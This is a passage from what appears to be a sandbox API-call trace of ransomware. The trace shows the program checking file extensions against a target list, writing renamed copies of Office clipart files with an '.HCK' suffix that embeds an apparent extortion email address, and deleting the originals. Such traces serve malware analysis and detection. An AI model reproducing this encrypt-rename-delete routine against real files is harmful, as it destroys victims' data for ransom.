(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0243.068] lstrlenW (lpString=".1cd") returned 4 [0243.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0243.068] lstrlenW (lpString=".jpg") returned 4 [0243.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.068] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0243.068] lstrlenW (lpString="J0187849.WMF") returned 12 [0243.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0243.069] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=7572) returned 1 [0243.069] CloseHandle (hObject=0x3bc) returned 1 [0243.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf")) returned 0x220 [0243.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0243.070] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.070] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0243.071] GetLastError () returned 0x0 [0243.071] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x1d94, lpOverlapped=0x0) returned 1 [0243.213] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x1da0, lpOverlapped=0x0) returned 1 [0243.245] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.245] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.245] SetEndOfFile (hFile=0x56c) returned 1 [0243.245] CloseHandle (hObject=0x56c) returned 1 [0243.245] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.245] SetEndOfFile (hFile=0x3bc) returned 1 [0243.247] CloseHandle (hObject=0x3bc) returned 1 [0243.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf")) returned 1 [0243.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0243.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0243.935] lstrlenW (lpString=".doc") returned 4 [0243.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.935] lstrlenW (lpString=".docx") returned 5 [0243.935] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0243.935] lstrlenW (lpString=".pdf") returned 4 [0243.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.935] lstrlenW (lpString=".xls") returned 4 [0243.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.935] lstrlenW (lpString=".xlsx") returned 5 [0243.935] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0243.935] lstrlenW (lpString=".ppt") returned 4 [0243.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0243.935] lstrlenW (lpString=".zip") returned 4 [0243.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.935] lstrlenW (lpString=".rar") returned 4 [0243.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.936] lstrlenW (lpString=".bz2") returned 4 [0243.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.936] lstrlenW (lpString=".7z") returned 3 [0243.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0243.936] lstrlenW (lpString=".dbf") returned 4 [0243.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0243.936] lstrlenW (lpString=".1cd") returned 4 [0243.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0243.936] lstrlenW (lpString=".jpg") returned 4 [0243.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0243.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0243.936] lstrlenW (lpString=".doc") returned 4 [0243.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.936] lstrlenW (lpString=".docx") returned 5 [0243.936] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0243.936] lstrlenW (lpString=".pdf") returned 4 [0243.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.936] lstrlenW (lpString=".xls") returned 4 [0243.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.936] lstrlenW (lpString=".xlsx") returned 5 [0243.936] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0243.936] lstrlenW (lpString=".ppt") returned 4 [0243.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0243.936] lstrlenW (lpString=".zip") returned 4 [0243.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.936] lstrlenW (lpString=".rar") returned 4 [0243.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.936] lstrlenW (lpString=".bz2") returned 4 [0243.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.936] lstrlenW (lpString=".7z") returned 3 [0243.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0243.936] lstrlenW (lpString=".dbf") returned 4 [0243.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0243.936] lstrlenW (lpString=".1cd") returned 4 [0243.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0243.936] lstrlenW (lpString=".jpg") returned 4 [0243.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.937] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0243.937] lstrlenW (lpString="J0188587.WMF") returned 12 [0243.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0244.037] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=15196) returned 1 [0244.037] CloseHandle (hObject=0x2d0) returned 1 [0244.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf")) returned 0x220 [0244.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0244.378] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.378] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298 [0244.379] GetLastError () returned 0x0 [0244.379] ReadFile (in: hFile=0x290, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x3b5c, lpOverlapped=0x0) returned 1 [0244.381] WriteFile (in: hFile=0x298, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x3b60, lpOverlapped=0x0) returned 1 [0244.382] ReadFile (in: hFile=0x290, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.382] WriteFile (in: hFile=0x298, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.382] SetEndOfFile (hFile=0x298) returned 1 [0244.382] CloseHandle (hObject=0x298) returned 1 [0244.382] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.382] SetEndOfFile (hFile=0x290) returned 1 [0244.384] CloseHandle (hObject=0x290) returned 1 [0244.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf")) returned 1 [0244.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0244.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0244.386] lstrlenW (lpString=".doc") returned 4 [0244.386] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.386] lstrlenW (lpString=".docx") returned 5 [0244.386] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0244.386] lstrlenW (lpString=".pdf") returned 4 [0244.386] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.386] lstrlenW (lpString=".xls") returned 4 [0244.386] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.386] lstrlenW (lpString=".xlsx") returned 5 [0244.386] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0244.386] lstrlenW (lpString=".ppt") returned 4 [0244.386] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0244.386] lstrlenW (lpString=".zip") returned 4 [0244.386] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.386] lstrlenW (lpString=".rar") returned 4 [0244.386] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.386] lstrlenW (lpString=".bz2") returned 4 [0244.386] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.386] lstrlenW (lpString=".7z") returned 3 [0244.386] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0244.386] lstrlenW (lpString=".dbf") returned 4 [0244.386] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0244.386] lstrlenW (lpString=".1cd") returned 4 [0244.386] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0244.386] lstrlenW (lpString=".jpg") returned 4 [0244.386] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0244.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0244.387] lstrlenW (lpString=".doc") returned 4 [0244.387] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.387] lstrlenW (lpString=".docx") returned 5 [0244.387] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0244.387] lstrlenW (lpString=".pdf") returned 4 [0244.387] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.387] lstrlenW (lpString=".xls") returned 4 [0244.387] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.387] lstrlenW (lpString=".xlsx") returned 5 [0244.387] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0244.387] lstrlenW (lpString=".ppt") returned 4 [0244.387] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0244.387] lstrlenW (lpString=".zip") returned 4 [0244.387] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.387] lstrlenW (lpString=".rar") returned 4 [0244.387] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.387] lstrlenW (lpString=".bz2") returned 4 [0244.387] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.387] lstrlenW (lpString=".7z") returned 3 [0244.387] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0244.387] lstrlenW (lpString=".dbf") returned 4 [0244.387] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0244.387] lstrlenW (lpString=".1cd") returned 4 [0244.387] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0244.387] lstrlenW (lpString=".jpg") returned 4 [0244.387] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.387] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0244.387] lstrlenW (lpString="J0195320.WMF") returned 12 [0244.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0244.388] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=29432) returned 1 [0244.388] CloseHandle (hObject=0x290) returned 1 [0244.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf")) returned 0x220 [0244.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0244.389] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.389] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298 [0244.390] GetLastError () returned 0x0 [0244.390] ReadFile (in: hFile=0x290, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x72f8, lpOverlapped=0x0) returned 1 [0244.391] WriteFile (in: hFile=0x298, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x7300, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x7300, lpOverlapped=0x0) returned 1 [0244.392] ReadFile (in: hFile=0x290, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.392] WriteFile (in: hFile=0x298, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.393] SetEndOfFile (hFile=0x298) returned 1 [0244.393] CloseHandle (hObject=0x298) returned 1 [0244.393] SetFilePointerEx (in: hFile=0x290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.393] SetEndOfFile (hFile=0x290) returned 1 [0244.395] CloseHandle (hObject=0x290) returned 1 [0244.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf")) returned 1 [0244.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0244.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0244.396] lstrlenW (lpString=".doc") returned 4 [0244.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.396] lstrlenW (lpString=".docx") returned 5 [0244.396] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0244.396] lstrlenW (lpString=".pdf") returned 4 [0244.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.396] lstrlenW (lpString=".xls") returned 4 [0244.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.396] lstrlenW (lpString=".xlsx") returned 5 [0244.396] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0244.396] lstrlenW (lpString=".ppt") returned 4 [0244.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0244.396] lstrlenW (lpString=".zip") returned 4 [0244.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.396] lstrlenW (lpString=".rar") returned 4 [0244.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.396] lstrlenW (lpString=".bz2") returned 4 [0244.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.396] lstrlenW (lpString=".7z") returned 3 [0244.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0244.397] lstrlenW (lpString=".dbf") returned 4 [0244.397] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0244.397] lstrlenW (lpString=".1cd") returned 4 [0244.397] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0244.397] lstrlenW (lpString=".jpg") returned 4 [0244.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0244.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0244.397] lstrlenW (lpString=".doc") returned 4 [0244.397] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.397] lstrlenW (lpString=".docx") returned 5 [0244.397] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0244.397] lstrlenW (lpString=".pdf") returned 4 [0244.397] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.397] lstrlenW (lpString=".xls") returned 4 [0244.397] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.397] lstrlenW (lpString=".xlsx") returned 5 [0244.397] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0244.397] lstrlenW (lpString=".ppt") returned 4 [0244.397] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0244.397] lstrlenW (lpString=".zip") returned 4 [0244.397] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.397] lstrlenW (lpString=".rar") returned 4 [0244.397] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.397] lstrlenW (lpString=".bz2") returned 4 [0244.397] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.397] lstrlenW (lpString=".7z") returned 3 [0244.397] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0244.397] lstrlenW (lpString=".dbf") returned 4 [0244.397] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0244.397] lstrlenW (lpString=".1cd") returned 4 [0244.397] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0244.397] lstrlenW (lpString=".jpg") returned 4 [0244.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.398] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0244.398] lstrlenW (lpString="J0195342.WMF") returned 12 [0244.398] CreateFileW (lpFileName="C:\\Program 